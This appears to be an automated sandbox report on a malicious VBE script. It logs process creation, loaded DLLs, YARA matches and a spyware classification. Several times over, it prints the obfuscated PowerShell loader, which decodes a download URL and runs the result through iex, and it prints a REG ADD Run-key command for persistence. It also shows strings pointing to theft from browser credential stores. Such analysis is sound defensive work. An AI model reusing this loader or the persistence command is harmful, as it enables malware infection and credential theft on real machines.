Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699E10	15_2_20699E10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069A2E8	15_2_2069A2E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20693BE8	15_2_20693BE8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069F8E8	15_2_2069F8E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695FED	15_2_20695FED
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698AEF	15_2_20698AEF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206977E0	15_2_206977E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20695FF8	15_2_20695FF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20690DF8	15_2_20690DF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069B5F8	15_2_2069B5F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206947FF	15_2_206947FF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069CDF0	15_2_2069CDF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206924F0	15_2_206924F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069E5C9	15_2_2069E5C9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206932C8	15_2_206932C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698FC8	15_2_20698FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206904C8	15_2_206904C8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20694CC8	15_2_20694CC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206964C0	15_2_206964C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20691BC0	15_2_20691BC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069BAC0	15_2_2069BAC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20698FC4	15_2_20698FC4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206904D8	15_2_206904D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20694CD8	15_2_20694CD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069E5D8	15_2_2069E5D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069A2D8	15_2_2069A2D8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069CDDF	15_2_2069CDDF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20691BD0	15_2_20691BD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069BAD0	15_2_2069BAD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206977D0	15_2_206977D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20697CA8	15_2_20697CA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069D2A8	15_2_2069D2A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206964AF	15_2_206964AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206912A0	15_2_206912A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206951A0	15_2_206951A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069EAA0	15_2_2069EAA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069D2B8	15_2_2069D2B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_206932B8	15_2_206932B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069A7B0	15_2_2069A7B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20696988	15_2_20696988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692988	15_2_20692988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069BF88	15_2_2069BF88
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069518F	15_2_2069518F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069EA8F	15_2_2069EA8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069D780	15_2_2069D780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699484	15_2_20699484
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20692998	15_2_20692998
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069BF98	15_2_2069BF98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20697C98	15_2_20697C98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_2069A79F	15_2_2069A79F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20699490	15_2_20699490
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20691290	15_2_20691290
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABC1A2	15_2_20ABC1A2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABD278	15_2_20ABD278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB5370	15_2_20AB5370
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABC468	15_2_20ABC468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABC738	15_2_20ABC738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABE988	15_2_20ABE988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABCA08	15_2_20ABCA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABCCD8	15_2_20ABCCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABCFA9	15_2_20ABCFA9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABF640	15_2_20ABF640
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB69B0	15_2_20AB69B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB29E0	15_2_20AB29E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABE97A	15_2_20ABE97A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20ABFA98	15_2_20ABFA98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB9DE0	15_2_20AB9DE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 15_2_20AB3E18	15_2_20AB3E18

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5862
Source: unknown	Process created: Commandline size = 5862
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5862	Jump to behavior

Source: amsi32_2032.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6564, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2032, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: powershell.exe, 00000003.00000002.1220484407.000002758104C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBPE

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBE@15/11@4/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Sammenbinder.Moe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6588:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1644:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_flragmth.tgx.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6564
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=2032

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: msiexec.exe, 0000000F.00000002.2230198077.0000000020D3C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020D61000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020D2D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020D6D000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000F.00000002.2230198077.0000000020D1E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 4500149631.vbe	Virustotal: Detection: 29%
Source: 4500149631.vbe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4500149631.vbe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "echo $Horrify; function Uprouse15($Fastigiate){$Bovate=4;do{$Cataracted+=$Fastigiate[$Bovate];$Bovate+=5;$Preciosities=Format-List} until(!$Fastigiate[$Bovate])$Cataracted}function Testvrktjer($Pericemental){ .($Unplutocratically) ($Pericemental)}$Tagdkker=Uprouse15 ' HusnUdboe Flltregu.,lnsw';$Tagdkker+=Uprouse15 'tersEGrabBNo.aCC.ckLHjteISuprE AndnRenlT';$Rootfast=Uprouse15 'I baM SrsoAwonzU.deiA.rel enslKonta rio/';$Bovatendskudsstning=Uprouse15 'In lTSekulUndesprec1 R c2';$Matricides=' Iko[H isNperie ProT Til.E ems Yane ugtrHjerV ChoIAftecD,taeCoagpChifoServiLevenSkaltEudamPolyAGastNCardaSi kG Ap.eBrutrBuli]Beds: Tan:K losFesteSquiC avpU BomrId oI coptRecoYKnhjpHa eRRa,eo VitT RanO ntCSu sOTerslHepa=opsl$Kns.bDe.oOBankVJow a HygtFo sE KltNEntodAfs,Sre.uKLeftUFormDOranSSquasSorttRealNGalliGiv NMicrG';$Rootfast+=Uprouse15 ' Bri5ad i.Atro0St.k For(hoveWSelviC rcnNin.dLogaoAmniwTri sMetr klatN ArcTGurg Bue1 hri0po d.Ki o0 in;bo d vbniWUntui CounPeri6Capo4Sa e;Va p S,rix wa6Sca 4Mave;peer skar Nurv ko:Tra 1 Cry3over4town.Fors0men.)Edel SumGButieLem c UdskDiaroAlcm/ Van2Ti s0 ,be1,etr0Refl0Gang1Gl t0 Syt1 Sub AlcF SpoiUnder Ab eTy efDobboH.arxInbo/Semi1Si.u3Prem4,oni.M.zu0';$Hydroida=Uprouse15 'SchiuNonfs BibeRiveRMeta-InhaaArtsgUnswegrooN Rect';$Efterabelserne174=Uprouse15 'PolyhKravtStyrtAfrep Sp.sMarx:F re/Regn/ JosoTagdo G drStreiMe.og.anaiSeminIn xaRudslBleru ,edsConceMonadTyro. vivcDagpoPl dm Cre/I.dtln neodemirFo sdPalo/SokkRGenmeSarci ,ramUdmea Pl gFartiArmin agteMoi..BovnpLab rAktim';$Smreplsen78=Uprouse15 ' Apo>';$Unplutocratically=Uprouse15 'StakI CofeSvovX';$Fodboldes='Sygevarsler';$Barakkens='\Sammenbinder.Moe';Testvrktjer (Uprouse15 ' Pri$HjergVeltlmonoOK,rsbUdsea StelAsja:Lo tA.forNTffenG lvU Astl OraO ilISpladHuj = elg$FaguESiniNDetav ase:IdenAHjfoPk.shP Un,DZe,haTommtStilAT an+dyka$Ca bB ysiA angrpremaB nekAntiKSl nEBu.lN unsS');Testvrktjer (Uprouse15 ' gho$WildGEntrLMi eo Saib VenaSmaaLD.lu:Sni.sRadiPPhonI geaSD moeMu iPUnsul T tiIschGE,trtAish1 Fri5 dfo=unod$ Ud EBaudFCongtB,steTaklREnspA Norb Anae HveLUdfas yntEImp R LusNWashEIsil1 Opt7fo,e4Vi a.knalsI,teP EpilB,lliAncytKkke(Tant$SyntSUrinm S.cR Bate Ko,p agbl SeaSRygme Miln Ch.7Triu8Pa i)');Testvrktjer (Uprouse15 $Matricides);$Efterabelserne174=$Spisepligt15[0];$Bodgery=(Uprouse15 ' Inq$Om,igjackLCacoOBlisBUdklA uinLFo.s:Ani uLudvnUdhuMPel,aGastsAcalTPassE inRSp cfS.aau A,kLRegn=ProsnKoekEAmerwAfso-Ho ooPeptBLangJ CryEMat cTeleT Co To lsRec yL geS UnuTSkygesuprM ork. Rip$Fri tcoc a ewaGBrdrDAlulK TafK PosEPne r');Testvrktjer ($Bodgery);Testvrktjer (Uprouse15 'Tyfo$Mou UAr,inIntemBeviaM nisRod,tKimbeTimerUngrf eeuVitalOver.BoflHSeaseM craN.grdTilgeskibrChe.sD el[ Unf$ MurH,hefyBadidNov rM xioJo siReped Ek,aHome]Mic =Dupl$Ls,eRUdsko aaodhaitAnsafSkinaTrefsMoist');$Saaede=Uprouse15 ' For$ BraUTegnn Benmn nva .tesHandt,edre EnsrU frfBestu.xillBjrg.Bai	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Litteraturlistes" /t REG_EXPAND_SZ /d "%Hochelaga% -windowstyle 1 $Saltires=(gi 'HKCU:\Software\Wormseeds\').GetValue('Engangsforeteelsens184');%Hochelaga% ($Saltires)"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
